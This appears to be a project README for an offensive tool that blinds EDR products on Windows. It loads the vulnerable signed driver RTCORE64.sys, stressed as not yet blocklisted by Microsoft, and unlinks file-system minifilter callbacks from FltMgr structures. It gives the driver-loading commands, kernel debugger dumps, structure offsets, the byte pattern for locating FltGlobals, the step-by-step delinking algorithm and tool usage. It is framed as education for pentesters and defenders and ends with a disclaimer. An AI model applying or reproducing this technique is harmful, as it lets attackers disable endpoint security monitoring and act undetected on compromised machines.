EDR bypass through minifilters callbacks delinking
MCP-PoC is a project that was developed 3 years ago for patching Callbacks related to File I/O operations by MCP-PoC that doesn't work anymore, so i decided to dig up and do some research to fix it.
Warning
Even though you can download the binaries from the releases, you have to make sure that the offsets and the binary search opcodes done is the same on your windows version or you will get a BLUE SCREEN OF DEATH
Major Updates
Three major changes have been made to the original exploit:
-
Updated the exploit to work with
RTCORE64.sysinstead ofdbutil_2_3.sysbecausedbutil_2_3.sysis now blacklisted by MICROSOFT. -
Instead of patching the callbacks (which doesn't work anymore, as the calls are verified by KCFG), I used a different technique that attackers are using nowadays which is delinking (removing the link).
-
Added Restore functionnality
Load and run the vulnerable driver
Needs to run from an admin console, or you can use the build in commands in the tool.
sc create VulnerableDriver binPath= C:\Users\Vixx\Desktop\RTCORE64.sys type= kernel sc start VulnerableDriver
As the driver is not yet blocklisted by MICROSOFT, IT IS STILL POSSIBLE TO LOAD IT WITHOUT ANY ISSUE
Prerequisistes
This code is based on the original blog post: Minifilter Callback Patching Proof-of-Concept
This is an advanced topic requiring the following prerequisites:
-
Assembly understanding
-
Familiarity with C programming
-
Experience with WinDbg
-
Familiarity with IDA
-
Windows kernel exploitation knowledge.
Tools Used
WinDbg: Windows Debugging Tools
IDA: Hex-Rays IDA Free
Kernel Debugging Setup
To debug your local kernel (for fixing your offsets and reversing), follow the instructions here: Setting up local kernel debugging
Target Audience
This project is for both pentesters and defenders to understand how attackers can bypass EDR kernel implementations.
Purpose
Tools exist already for example EDRSandblast which is great that will do this and calculate offsets automaticaly, but this is designed to be small and on point for multiple reasons:
- For everyone to be able to learn how technically bypassing EDR (File Filters Callbacks) is done.
- For having the flexibility to create your own tool which make it pretty easier to bypass signature based detection.
- For researchers to be able to play around the code and debug and reverse and maybe find something new.
Attacker Abuse Cases
An attacker with administrative privileges may attempt to disable EDR or install a rootkit. To interact with the kernel, a signed Microsoft driver is required. Since unsigned drivers cannot be loaded with Microsoft mitigations enabled (e.g., VBS, Hyper-V), attackers typically exploit vulnerable signed drivers that have not been blacklisted.
FileCallbackKernelBypass project updated to use RTCORE64.sys driver which is not yet blocklisted by MICROSOFT
Introduction to File Filters Callbacks
EDR And AV solutions can as well set up callbacks for file I/O operations.
File system minifilters are drivers which are used to inspect, log, modify, or prevent file I/O operations. The filter manager driver (FltMgr.sys) effectively "sits in-between" the I/O Manager and the File System Driver, and is responsible for registration of file system minifilter drivers, and the invocation of their pre and post-operation callbacks. Such callbacks are provided by the minifilter, and are to be invoked before or after the I/O operation.
How does it work
I am going over each function (in the c code) and explain what is does so you can make sense of the code yourself.
Resolve FltEnumerateFilters And get FLTMGR!FltGlobals Address
First step in the C code is to get the FLTMGR!FltGlobals global variable address.
We can get this address through a binary search using the following exported function FLTMGR!FltEnumerateFilters
FLTMGR!FltEnumerateFilters+0x81: fffff800`350c90e1 e87a59316e call nt!ExInitializeFastOwnerEntry (fffff800`a33dea60) fffff800`350c90e6 4c8b157310fdff mov r10,qword ptr [FLTMGR!_imp_KeEnterCriticalRegion (fffff800`3509a160)] fffff800`350c90ed e8fe23326e call nt!KeEnterCriticalRegion (fffff800`a33eb4f0) fffff800`350c90f2 41b001 mov r8b,1 fffff800`350c90f5 488d942480000000 lea rdx,[rsp+80h] fffff800`350c90fd 488d0d9476fcff lea rcx,[FLTMGR!FltGlobals+0x58 (fffff800`35090798)] fffff800`350c9104 4c8b154d10fdff mov r10,qword ptr [FLTMGR!_imp_ExAcquireFastResourceShared (fffff800`3509a158)] fffff800`350c910b e820da146e call nt!ExAcquireFastResourceShared (fffff800`a3216b30)
const uint8_t patternFltGlobals[] = { 0x48, 0x8d, 0x0d, 0x58 };
So the function ResolveFltmgrGlobals will resolve the address of FLTMGR!FltGlobals by loading FLTMGR.sys to the usermode process and using a binary search, by searching for lea rcx opcodes and calculate the offset of FLTMGR!FltGlobals and use that on the real driver base address of FLTMGR.sys to get the kernel address of FLTMGR!FltGlobals .
Note: we need to subtract 0x58 from the address we will get because as you can see from the snipped above, what we will get is FLTMGR!FltGlobals+0x58.
GetFilterByName Function
Next step is to get the frame, in latest versions of windows only 1 Frame exist.
The frame will contains all the registered filters.
lkd> x FLTMGR!FltGlobals
fffff800`35090740 FLTMGR!FltGlobals =
lkd> dt FLTMGR!_GLOBALS fffff800`35090740
+0x000 DebugFlags : 0
+0x008 DebugTraceFlags : 0
+0x010 GFlags : 0x143
+0x018 RegHandle : 0xffffa801`6c1fce10
+0x020 NumProcessors : 6
+0x024 CacheLineSize : 0x40
+0x028 AlignedInstanceTrackingListSize : 0x40
+0x030 ControlDeviceObject : 0xffffa801`6c077900 _DEVICE_OBJECT
+0x038 DriverObject : 0xffffa801`6c0776e0 _DRIVER_OBJECT
+0x040 KtmTransactionManagerHandle : 0xffffffff`800001fc Void
+0x048 TxVolKtmResourceManagerHandle : (null)
+0x050 TxVolKtmResourceManager : (null)
+0x058 FrameList : _FLT_RESOURCE_LIST_HEAD
[+0x068] rList [Type: _LIST_ENTRY]
lkd> dqs fffff800`35090740 + 0x058 + 0x068 L2
fffff800`35090800 ffffa801`6c078248
fffff800`35090808 ffffa801`6c078248
As you can see rList contains the frames, and only one frame exists ffffa8016c078248
Next step is to get the filters from the frame.
First we need to subtract 0x08 from ffffa8016c078248 to get to the the start of the frame structure FLTMGR!_FLTP_FRAME
dt FLTMGR!_FLTP_FRAME 0xffffa8016c078240
+0x008 Links : _LIST_ENTRY [ 0xfffff800`35090800 - 0xfffff800`35090800 ]
+0x048 RegisteredFilters : _FLT_RESOURCE_LIST_HEAD
[+0x068] rList [Type: _LIST_ENTRY]
[+0x078] rCount : 0xc [Type: unsigned long]
And so the c code will loop through each filter and compare the name of the filter with the one we want.
lkd> dqs 0xffffa8016c078240 + 0x048 + 0x068 L2 ffffa801`6c0782f0 ffffa801`6e76a020 ffffa801`6c0782f8 ffffa801`6c089530
We need to substract 0x10 from the address that we will use from the link list ffffa8016e76a020 => to get to the base address of the filter structure _FLT_FILTER
dt _FLT_FILTER ffffa801`6e76a010 +0x038 Name : _UNICODE_STRING "bindflt" [+0x000] Length : 0xe [Type: unsigned short] [+0x002] MaximumLength : 0xe [Type: unsigned short] [+0x008] Buffer : 0xffffe606b29b3848 : "bindflt" [Type: wchar_t *]
And you can see the name of this filter is bindflt
If one of the filter is the one we are interested in, the function returns the filter structure pointer ffffa8016e76a010
Providing an non existant filter as input will show you all the filters ^^
GetFrameForFilter Function
This will return the frame structure pointer of the filter we chose.
lkd> dt _FLT_FILTER ffffa801`6e76a010
+0x030 Frame : 0xffffa801`6c078240 _FLTP_FRAME
The function will return 0xffffa8016c078240
GetOperationsForFilter Function
Each Filter will contains a operations list which is associated to a pre and post operation.
so Each Filtter will be associated to a pre and post callback funtion that will be called on I/O file operation related to that filter.
The purpose of this function is to gather all the pre and post operations of that filter we chose.
dt _FLT_FILTER ffffa801`6e76a010 +0x1a8 Operations : 0xffffa801`6e76a2d0 _FLT_OPERATION_REGISTRATION
Next let's dump the operations structure _FLT_OPERATION_REGISTRATION
dt FLTMGR!_FLT_OPERATION_REGISTRATION 0xffffa801`6e76a2d0 +0x000 MajorFunction : 0 '' +0x004 Flags : 0 +0x008 PreOperation : 0xfffff800`39fd7830 _FLT_PREOP_CALLBACK_STATUS bindflt!BfPreCreate+0 +0x010 PostOperation : 0xfffff800`39fcf3b0 _FLT_POSTOP_CALLBACK_STATUS bindflt!BfPostCreate+0 +0x018 Reserved1 : (null)
The function will add Each operation to the list and go to the next one by adding the size of the operation structure (FLTMGR!_FLT_OPERATION_REGISTRATION)
so eventually the function will return a list containing all operations (pre and post) related to the filter we picked.
EnumFrameVolumes Function
Each Frame is attached as well to volumes. you can consider a volume as a device name.
File Filters can be setup in a way to only be active and monitor I/O operations on a specific volume.
dt FLTMGR!_FLTP_FRAME 0xffffa8016c078240 +0x0c8 AttachedVolumes : _FLT_RESOURCE_LIST_HEAD [+0x000] rLock : Unowned Resource [Type: _ERESOURCE] [+0x068] rList [Type: _LIST_ENTRY] [+0x078] rCount : 0x7 [Type: unsigned long]
rCount => contains the numbers of volumes
Next the function will Loop through the rList list entries to get the volume structure pointers.
lkd> dqs 0xffffa8016c078240 + 0x0c8 + 0x068 L2 ffffa801`6c078370 ffffa801`6c427050 ffffa801`6c078378 ffffa801`6df8d020
Needs to subtract 10 from the address of the volume we get to reach the start of the volume structure FLTMGR!_FLT_VOLUME, for example ffffa8016c427050 - 0x10
dt FLTMGR!_FLT_VOLUME ffffa801`6c427040 +0x070 DeviceName : _UNICODE_STRING "\Device\Mup" [+0x000] Length : 0x16 [Type: unsigned short] [+0x002] MaximumLength : 0x16 [Type: unsigned short] [+0x008] Buffer : 0xffffb58920da186c : "\Device\Mup" [Type: wchar_t *]
The function will read the string length first and then the buffer which is the actual device name
The function will return a map => retVal[devicename] = (PVOID)lpVolume (pointer to the volume structure) for each volume.
UnLinksForVolumesAndCallbacks Function
Each Volume will contains a list of callbacks, indexed by their Major Function + 22.
dt FLTMGR!_FLT_VOLUME ffffa801`6c427040 +0x140 Callbacks : _CALLBACK_CTRL [+0x000] OperationLists [Type: _LIST_ENTRY [50]] [+0x320] OperationFlags [Type: _CALLBACK_NODE_FLAGS [50]
Each callback node (operation) contains a pre and post operation like in the filter.
Each one of the entries (there is 50) in the OperationLists are callbacks (pre/post operation) based on the major function index (of the filter callback) + 22
lkd> dq ffffa801`6c427040 + 0x140 L1 ffffa801`6c427180 ffffc20e`bfc9a7d0 dt FLTMGR!_CALLBACK_NODE ffffc20e`bfc9a7d0 +0x000 CallbackLinks : _LIST_ENTRY +0x010 Instance : Ptr64 _FLT_INSTANCE +0x018 PreOperation : Ptr64 _FLT_PREOP_CALLBACK_STATUS +0x020 PostOperation : Ptr64 _FLT_POSTOP_CALLBACK_STATUS +0x018 GenerateFileName : Ptr64 long +0x018 NormalizeNameComponent : Ptr64 long +0x018 NormalizeNameComponentEx : Ptr64 long +0x020 NormalizeContextCleanup : Ptr64 void +0x028 Flags : _CALLBACK_NODE_FLAGS
As I said previously, Each one of the entries in the OperationLists are callbacks (pre/post operation) based on the major function index + 22
What it means is the major function of each operation we found in the filter in the function GetOperationsForFilter is associated to the callback at index (major function + 22) in the OperationLists in the volume structure.
So MAJORFUNCTION[0] (in the filter structure) = 22 (in the operationlists in the volume structure)
What the function will do is the following:
- Loop through the operations we got from the filters (from
GetOperationsForFilter) First. - Inside the first loop, Loop through the Volumes.
- Get the operation Entry (within the OperationLists of the volume structure) Based on the
Major Function (from the operation in step 1) + 22. The operation entry will contains all the callbacks that are setup for this volume - Loop throught the CallbackLinks of the operationLists Entry we are in.
- Check if any of the pre / post callback entries (inside the operation) match the one from the filter operation (step 1).
- If so we remove the whole link from the linked list inside the operation (volume structure).
Reference
https://github.com/alfarom256/MCP-PoC
usage
Load and run the vulnerable Driver as administrator
sc create VulnerableDriver binPath= C:\Users\Vixx\Desktop\RTCORE64.sys type= kernel sc start VulnerableDriver
Run the exe as administrator
PS C:\Users\Vixx\Desktop\Tools\MiniFilterFileCallbackKernelBypass\x64\Release> .\MiniFilterFileCallbackernelBypass.exe Usage: C:\Users\Vixx\Desktop\Tools\MiniFilterFileCallbackKernelBypass\x64\Release\MiniFilterFileCallbackernelBypass.exe /filtersshow - List Filters or Major Function for a filter /filterlinks - Remove Filters related to that driver /installDriver - Install the MSI driver /uninstallDriver - Uninstall the MSI driver
Not Providing a filter, will output all filters to pick from.
Disclaimer
This project is for educational purposes only. Unauthorized use of this tool in production or against systems without explicit permission is strictly prohibited.